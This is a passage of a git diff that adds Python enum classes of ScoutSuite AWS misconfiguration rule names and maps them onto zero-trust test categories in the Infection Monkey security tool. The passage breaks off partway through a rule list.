new file mode 100644 index 000000000..d22baafc7 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py @@ -0,0 +1,6 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class CloudWatchRules(RuleNameEnum): + # Logging + CLOUDWATCH_ALARM_WITHOUT_ACTIONS = 'cloudwatch-alarm-without-actions' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py new file mode 100644 index 000000000..5d86b0b3e --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py @@ -0,0 +1,6 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class ConfigRules(RuleNameEnum): + # Logging + CONFIG_RECORDER_NOT_CONFIGURED = 'config-recorder-not-configured' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py new file mode 100644 index 000000000..dddf18b99 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py @@ -0,0 +1,35 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class EC2Rules(RuleNameEnum): + # Permissive firewall rules + SECURITY_GROUP_ALL_PORTS_TO_ALL = 'ec2-security-group-opens-all-ports-to-all' + SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL = 'ec2-security-group-opens-TCP-port-to-all' + SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL = 'ec2-security-group-opens-UDP-port-to-all' + SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL = 'ec2-security-group-opens-RDP-port-to-all' + SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL = 'ec2-security-group-opens-SSH-port-to-all' + SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL = 'ec2-security-group-opens-MySQL-port-to-all' + SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL = 'ec2-security-group-opens-MsSQL-port-to-all' + SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL = 'ec2-security-group-opens-MongoDB-port-to-all' + SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL = 'ec2-security-group-opens-Oracle DB-port-to-all' + SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL = 'ec2-security-group-opens-PostgreSQL-port-to-all' + SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL = 'ec2-security-group-opens-NFS-port-to-all' + SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL = 'ec2-security-group-opens-SMTP-port-to-all' + SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL = 'ec2-security-group-opens-DNS-port-to-all' + SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF = 'ec2-security-group-opens-all-ports-to-self' + SECURITY_GROUP_OPENS_ALL_PORTS = 'ec2-security-group-opens-all-ports' + SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP = 'ec2-security-group-opens-plaintext-port-FTP' + SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET = 'ec2-security-group-opens-plaintext-port-Telnet' + SECURITY_GROUP_OPENS_PORT_RANGE = 'ec2-security-group-opens-port-range' + EC2_SECURITY_GROUP_WHITELISTS_AWS = 'ec2-security-group-whitelists-aws' + + # Encryption + EBS_SNAPSHOT_NOT_ENCRYPTED = 'ec2-ebs-snapshot-not-encrypted' + EBS_VOLUME_NOT_ENCRYPTED = 'ec2-ebs-volume-not-encrypted' + EC2_INSTANCE_WITH_USER_DATA_SECRETS = 'ec2-instance-with-user-data-secrets' + + # Permissive policies + AMI_PUBLIC = 'ec2-ami-public' + EC2_DEFAULT_SECURITY_GROUP_IN_USE = 'ec2-default-security-group-in-use' + EC2_DEFAULT_SECURITY_GROUP_WITH_RULES = 'ec2-default-security-group-with-rules' + EC2_EBS_SNAPSHOT_PUBLIC = 'ec2-ebs-snapshot-public' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py new file mode 100644 index 000000000..0d1d4e5d9 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class ELBRules(RuleNameEnum): + # Logging + ELB_NO_ACCESS_LOGS = 'elb-no-access-logs' + + # Encryption + ELB_LISTENER_ALLOWING_CLEARTEXT = 'elb-listener-allowing-cleartext' + ELB_OLDER_SSL_POLICY = 'elb-older-ssl-policy' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py new file mode 100644 index 000000000..f7a264cf3 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class ELBv2Rules(RuleNameEnum): + # Encryption + ELBV2_LISTENER_ALLOWING_CLEARTEXT = 'elbv2-listener-allowing-cleartext' + ELBV2_OLDER_SSL_POLICY = 'elbv2-older-ssl-policy' + + # Logging + ELBV2_NO_ACCESS_LOGS = 'elbv2-no-access-logs' + + # Data loss prevention + ELBV2_NO_DELETION_PROTECTION = 'elbv2-no-deletion-protection' + + # Service security + ELBV2_HTTP_REQUEST_SMUGGLING = 'elbv2-http-request-smuggling' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py new file mode 100644 index 000000000..fef58e066 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py @@ -0,0 +1,39 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class IAMRules(RuleNameEnum): + # Authentication/authorization + IAM_USER_NO_ACTIVE_KEY_ROTATION = 'iam-user-no-Active-key-rotation' + IAM_PASSWORD_POLICY_MINIMUM_LENGTH = 'iam-password-policy-minimum-length' + IAM_PASSWORD_POLICY_NO_EXPIRATION = 'iam-password-policy-no-expiration' + IAM_PASSWORD_POLICY_REUSE_ENABLED = 'iam-password-policy-reuse-enabled' + IAM_USER_WITH_PASSWORD_AND_KEY = 'iam-user-with-password-and-key' + IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA = 'iam-assume-role-lacks-external-id-and-mfa' + IAM_USER_WITHOUT_MFA = 'iam-user-without-mfa' + IAM_ROOT_ACCOUNT_NO_MFA = 'iam-root-account-no-mfa' + IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS = 'iam-root-account-with-active-keys' + IAM_USER_NO_INACTIVE_KEY_ROTATION = 'iam-user-no-Inactive-key-rotation' + IAM_USER_WITH_MULTIPLE_ACCESS_KEYS = 'iam-user-with-multiple-access-keys' + + # Least privilege + IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL = 'iam-assume-role-policy-allows-all' + IAM_EC2_ROLE_WITHOUT_INSTANCES = 'iam-ec2-role-without-instances' + IAM_GROUP_WITH_INLINE_POLICIES = 'iam-group-with-inline-policies' + IAM_GROUP_WITH_NO_USERS = 'iam-group-with-no-users' + IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-group-policy-allows-iam-PassRole' + IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-group-policy-allows-NotActions' + IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-group-policy-allows-sts-AssumeRole' + IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-role-policy-allows-iam-PassRole' + IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-role-policy-allows-NotActions' + IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-role-policy-allows-sts-AssumeRole' + IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE = 'iam-inline-user-policy-allows-iam-PassRole' + IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS = 'iam-inline-user-policy-allows-NotActions' + IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-inline-user-policy-allows-sts-AssumeRole' + IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE = 'iam-managed-policy-allows-iam-PassRole' + IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS = 'iam-managed-policy-allows-NotActions' + IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE = 'iam-managed-policy-allows-sts-AssumeRole' + IAM_MANAGED_POLICY_NO_ATTACHMENTS = 'iam-managed-policy-no-attachments' + IAM_ROLE_WITH_INLINE_POLICIES = 'iam-role-with-inline-policies' + IAM_ROOT_ACCOUNT_USED_RECENTLY = 'iam-root-account-used-recently' + IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS = 'iam-root-account-with-active-certs' + IAM_USER_WITH_INLINE_POLICIES = 'iam-user-with-inline-policies' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py new file mode 100644 index 000000000..b303c8573 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py @@ -0,0 +1,19 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class RDSRules(RuleNameEnum): + # Encryption + RDS_INSTANCE_STORAGE_NOT_ENCRYPTED = 'rds-instance-storage-not-encrypted' + + # Data loss prevention + RDS_INSTANCE_BACKUP_DISABLED = 'rds-instance-backup-disabled' + RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD = 'rds-instance-short-backup-retention-period' + RDS_INSTANCE_SINGLE_AZ = 'rds-instance-single-az' + + # Firewalls + RDS_SECURITY_GROUP_ALLOWS_ALL = 'rds-security-group-allows-all' + RDS_SNAPSHOT_PUBLIC = 'rds-snapshot-public' + + # Service security + RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED = 'rds-instance-ca-certificate-deprecated' + RDS_INSTANCE_NO_MINOR_UPGRADE = 'rds-instance-no-minor-upgrade' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py new file mode 100644 index 000000000..2538cf54d --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py @@ -0,0 +1,19 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class RedshiftRules(RuleNameEnum): + # Encryption + REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED = 'redshift-cluster-database-not-encrypted' + REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED = 'redshift-parameter-group-ssl-not-required' + + # Firewalls + REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL = 'redshift-security-group-whitelists-all' + + # Restrictive Policies + REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE = 'redshift-cluster-publicly-accessible' + + # Logging + REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED = 'redshift-parameter-group-logging-disabled' + + # Service security + REDSHIFT_CLUSTER_NO_VERSION_UPGRADE = 'redshift-cluster-no-version-upgrade' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py new file mode 100644 index 000000000..5ad382c3d --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py @@ -0,0 +1,5 @@ +from enum import Enum + + +class RuleNameEnum(Enum): + pass diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py new file mode 100644 index 000000000..4ba27a57a --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py @@ -0,0 +1,29 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class S3Rules(RuleNameEnum): + # Encryption + S3_BUCKET_ALLOWING_CLEARTEXT = 's3-bucket-allowing-cleartext' + S3_BUCKET_NO_DEFAULT_ENCRYPTION = 's3-bucket-no-default-encryption' + + # Data loss prevention + S3_BUCKET_NO_MFA_DELETE = 's3-bucket-no-mfa-delete' + S3_BUCKET_NO_VERSIONING = 's3-bucket-no-versioning' + + # Logging + S3_BUCKET_NO_LOGGING = 's3-bucket-no-logging' + + # Permissive access rules + S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP = 's3-bucket-AuthenticatedUsers-write_acp' + S3_BUCKET_AUTHENTICATEDUSERS_WRITE = 's3-bucket-AuthenticatedUsers-write' + S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP = 's3-bucket-AuthenticatedUsers-read_acp' + S3_BUCKET_AUTHENTICATEDUSERS_READ = 's3-bucket-AuthenticatedUsers-read' + S3_BUCKET_ALLUSERS_WRITE_ACP = 's3-bucket-AllUsers-write_acp' + S3_BUCKET_ALLUSERS_WRITE = 's3-bucket-AllUsers-write' + S3_BUCKET_ALLUSERS_READ_ACP = 's3-bucket-AllUsers-read_acp' + S3_BUCKET_ALLUSERS_READ = 's3-bucket-AllUsers-read' + S3_BUCKET_WORLD_PUT_POLICY = 's3-bucket-world-Put-policy' + S3_BUCKET_WORLD_POLICY_STAR = 's3-bucket-world-policy-star' + S3_BUCKET_WORLD_LIST_POLICY = 's3-bucket-world-List-policy' + S3_BUCKET_WORLD_GET_POLICY = 's3-bucket-world-Get-policy' + S3_BUCKET_WORLD_DELETE_POLICY = 's3-bucket-world-Delete-policy' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py new file mode 100644 index 000000000..4cb875c6d --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py @@ -0,0 +1,8 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class SESRules(RuleNameEnum): + + # Permissive policies + SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY = 'ses-identity-world-SendRawEmail-policy' + SES_IDENTITY_WORLD_SENDEMAIL_POLICY = 'ses-identity-world-SendEmail-policy' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py new file mode 100644 index 000000000..9fb847114 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py @@ -0,0 +1,13 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class SNSRules(RuleNameEnum): + + # Permissive policies + SNS_TOPIC_WORLD_SUBSCRIBE_POLICY = 'sns-topic-world-Subscribe-policy' + SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY = 'sns-topic-world-SetTopicAttributes-policy' + SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY = 'sns-topic-world-RemovePermission-policy' + SNS_TOPIC_WORLD_RECEIVE_POLICY = 'sns-topic-world-Receive-policy' + SNS_TOPIC_WORLD_PUBLISH_POLICY = 'sns-topic-world-Publish-policy' + SNS_TOPIC_WORLD_DELETETOPIC_POLICY = 'sns-topic-world-DeleteTopic-policy' + SNS_TOPIC_WORLD_ADDPERMISSION_POLICY = 'sns-topic-world-AddPermission-policy' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py new file mode 100644 index 000000000..cc5c774e3 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py @@ -0,0 +1,13 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class SQSRules(RuleNameEnum): + + # Permissive policies + SQS_QUEUE_WORLD_SENDMESSAGE_POLICY = 'sqs-queue-world-SendMessage-policy' + SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY = 'sqs-queue-world-ReceiveMessage-policy' + SQS_QUEUE_WORLD_PURGEQUEUE_POLICY = 'sqs-queue-world-PurgeQueue-policy' + SQS_QUEUE_WORLD_GETQUEUEURL_POLICY = 'sqs-queue-world-GetQueueUrl-policy' + SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY = 'sqs-queue-world-GetQueueAttributes-policy' + SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY = 'sqs-queue-world-DeleteMessage-policy' + SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY = 'sqs-queue-world-ChangeMessageVisibility-policy' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py new file mode 100644 index 000000000..4dcbd4f1a --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py @@ -0,0 +1,15 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class VPCRules(RuleNameEnum): + # Logging + SUBNET_WITHOUT_FLOW_LOG = 'vpc-subnet-without-flow-log' + + # Firewalls + SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS = 'vpc-subnet-with-allow-all-ingress-acls' + SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS = 'vpc-subnet-with-allow-all-egress-acls' + NETWORK_ACL_NOT_USED = 'vpc-network-acl-not-used' + DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS = 'vpc-default-network-acls-allow-all-ingress' + DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS = 'vpc-default-network-acls-allow-all-egress' + CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS = 'vpc-custom-network-acls-allow-all-ingress' + CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS = 'vpc-custom-network-acls-allow-all-egress' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py new file mode 100644 index 000000000..251e57324 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py @@ -0,0 +1,191 @@ +from abc import ABC, abstractmethod +from typing import List + +from common.common_consts import zero_trust_consts +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules + + +# Class which links ZT tests and rules to ScoutSuite finding +class ScoutSuiteFindingMap(ABC): + @property + @abstractmethod + def rules(self) -> List[RuleNameEnum]: + pass + + @property + @abstractmethod + def test(self) -> str: + pass + + +class PermissiveFirewallRules(ScoutSuiteFindingMap): + rules = [EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF, + EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS, EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP, + EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET, EC2Rules.SECURITY_GROUP_OPENS_PORT_RANGE, + EC2Rules.EC2_SECURITY_GROUP_WHITELISTS_AWS, + VPCRules.SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS, + VPCRules.SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS, + VPCRules.NETWORK_ACL_NOT_USED, + VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS, + VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS, + VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS, + VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS, + RDSRules.RDS_SECURITY_GROUP_ALLOWS_ALL, + RedshiftRules.REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL + ] + + test = zero_trust_consts.TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES + + +class UnencryptedData(ScoutSuiteFindingMap): + rules = [EC2Rules.EBS_SNAPSHOT_NOT_ENCRYPTED, EC2Rules.EBS_VOLUME_NOT_ENCRYPTED, + EC2Rules.EC2_INSTANCE_WITH_USER_DATA_SECRETS, + ELBv2Rules.ELBV2_LISTENER_ALLOWING_CLEARTEXT, ELBv2Rules.ELBV2_OLDER_SSL_POLICY, + RDSRules.RDS_INSTANCE_STORAGE_NOT_ENCRYPTED, RedshiftRules.REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED, + RedshiftRules.REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED, + S3Rules.S3_BUCKET_ALLOWING_CLEARTEXT, S3Rules.S3_BUCKET_NO_DEFAULT_ENCRYPTION, + ELBRules.ELB_LISTENER_ALLOWING_CLEARTEXT, + ELBRules.ELB_OLDER_SSL_POLICY] + + test = zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA + + +class DataLossPrevention(ScoutSuiteFindingMap): + rules = [RDSRules.RDS_INSTANCE_BACKUP_DISABLED, RDSRules.RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD, + RDSRules.RDS_INSTANCE_SINGLE_AZ, S3Rules.S3_BUCKET_NO_MFA_DELETE, S3Rules.S3_BUCKET_NO_VERSIONING, + ELBv2Rules.ELBV2_NO_DELETION_PROTECTION] + + test = zero_trust_consts.TEST_SCOUTSUITE_DATA_LOSS_PREVENTION + + +class SecureAuthentication(ScoutSuiteFindingMap): + rules = [ + IAMRules.IAM_USER_NO_ACTIVE_KEY_ROTATION, + IAMRules.IAM_PASSWORD_POLICY_MINIMUM_LENGTH, + IAMRules.IAM_PASSWORD_POLICY_NO_EXPIRATION, + IAMRules.IAM_PASSWORD_POLICY_REUSE_ENABLED, + IAMRules.IAM_USER_WITH_PASSWORD_AND_KEY, + IAMRules.IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA, + IAMRules.IAM_USER_WITHOUT_MFA, + IAMRules.IAM_ROOT_ACCOUNT_NO_MFA, + IAMRules.IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS, + IAMRules.IAM_USER_NO_INACTIVE_KEY_ROTATION, + IAMRules.IAM_USER_WITH_MULTIPLE_ACCESS_KEYS + ] + + test = zero_trust_consts.TEST_SCOUTSUITE_SECURE_AUTHENTICATION + + +class RestrictivePolicies(ScoutSuiteFindingMap): + rules = [ + IAMRules.IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL, + IAMRules.IAM_EC2_ROLE_WITHOUT_INSTANCES, + IAMRules.IAM_GROUP_WITH_INLINE_POLICIES, + IAMRules.IAM_GROUP_WITH_NO_USERS, + IAMRules.IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE, + IAMRules.IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS, + IAMRules.IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE, + IAMRules.IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE, + IAMRules.IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS, + IAMRules.IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE, + IAMRules.IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE, + IAMRules.IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS, + IAMRules.IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE, + IAMRules.IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE, + IAMRules.IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS, + IAMRules.IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE, + IAMRules.IAM_MANAGED_POLICY_NO_ATTACHMENTS, + IAMRules.IAM_ROLE_WITH_INLINE_POLICIES, + IAMRules.IAM_ROOT_ACCOUNT_USED_RECENTLY, + IAMRules.IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS, + IAMRules.IAM_USER_WITH_INLINE_POLICIES, + EC2Rules.AMI_PUBLIC, + S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP, + S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_WRITE, + S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP, + S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_READ, + S3Rules.S3_BUCKET_ALLUSERS_WRITE_ACP, + S3Rules.S3_BUCKET_ALLUSERS_WRITE, + S3Rules.S3_BUCKET_ALLUSERS_READ_ACP, + S3Rules.S3_BUCKET_ALLUSERS_READ, + S3Rules.S3_BUCKET_WORLD_PUT_POLICY, + S3Rules.S3_BUCKET_WORLD_POLICY_STAR, + S3Rules.S3_BUCKET_WORLD_LIST_POLICY, + S3Rules.S3_BUCKET_WORLD_GET_POLICY, + S3Rules.S3_BUCKET_WORLD_DELETE_POLICY, + EC2Rules.EC2_DEFAULT_SECURITY_GROUP_IN_USE, + EC2Rules.EC2_DEFAULT_SECURITY_GROUP_WITH_RULES, + EC2Rules.EC2_EBS_SNAPSHOT_PUBLIC, + SQSRules.SQS_QUEUE_WORLD_SENDMESSAGE_POLICY, + SQSRules.SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY, + SQSRules.SQS_QUEUE_WORLD_PURGEQUEUE_POLICY, + SQSRules.SQS_QUEUE_WORLD_GETQUEUEURL_POLICY, + SQSRules.SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY, + SQSRules.SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY, + SQSRules.SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY, + SNSRules.SNS_TOPIC_WORLD_SUBSCRIBE_POLICY, + SNSRules.SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY, + SNSRules.SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY, + 